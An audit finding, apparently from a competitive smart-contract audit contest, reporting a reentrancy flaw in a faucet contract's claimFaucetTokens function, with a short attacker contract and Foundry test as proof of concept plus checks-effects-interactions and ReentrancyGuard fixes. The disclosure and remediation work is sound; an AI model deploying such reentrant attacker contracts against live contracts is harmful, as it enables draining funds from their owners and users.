Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in ETH drip during claimFaucetTokens allows multiple claims / double-drip

Reentrancy in ETH drip during claimFaucetTokens allows multiple claims / double-drip

Description

  • Normal behavior: claimFaucetTokens should transfer ETH to a first-time claimer exactly once and update all related state (cooldown, hasClaimedEth, daily counters) so a reentrant call cannot obtain additional payouts.

  • Specific issue: the contract performs an external call to send ETH to the claimer before all reentrancy-sensitive state is finalized. A malicious recipient can reenter the function from its payable fallback and obtain extra drips (tokens/ETH) within the same claim flow.

function claimFaucetTokens() public {
// existing code...
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
// existing code...

Risk

Likelihood:

  • Claim recipients include arbitrary EOAs/contracts; the code makes an external call to an untrusted address.

Impact:

  • Attacker can reenter and claim multiple drips (double-dip), corrupt counters (dailyDrips, dailyClaimCount), drain ETH or tokens, and break cooldown invariants.

Proof of Concept

The PoC demonstrates a malicious contract reentering claimFaucetTokens from its receive() during the ETH transfer, allowing it to claim two drips in one flow and thus obtain double the allowed tokens within the cooldown window.

Add this MaliciousContract and test function to the test file:

contract MaliciousContract {
RaiseBoxFaucet raiseBoxFaucet;
constructor(address raiseBoxFaucetAddress) {
raiseBoxFaucet = RaiseBoxFaucet(payable(raiseBoxFaucetAddress));
}
function attack() external {
raiseBoxFaucet.claimFaucetTokens();
}
receive() external payable {
raiseBoxFaucet.claimFaucetTokens();
}
}
function testReentrancyAttack() public {
MaliciousContract maliciousContract = new MaliciousContract(raiseBoxFaucetContractAddress);
maliciousContract.attack();
assertEq(raiseBoxFaucet.balanceOf(address(maliciousContract)), 2 * raiseBoxFaucet.faucetDrip());
// MaliciousContract got 2 times the faucet drip allowed.
}

Run the test with:

forge test --match-test testReentrancyAttack -vvv

Recommended Mitigation

  • Minimal CEI fix -> finalize all state (cooldown, flags, counters) before the external call:

function claimFaucetTokens() public {
// existing code...
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount += 1;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
// existing code...
  • Recommended (stronger) -> add OpenZeppelin ReentrancyGuard and mark claimFaucetTokens nonReentrant (keep CEI too):

+ import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
- contract RaiseBoxFaucet is ERC20, Ownable {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
// ...existing code...
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
// ...existing code...
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 10 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.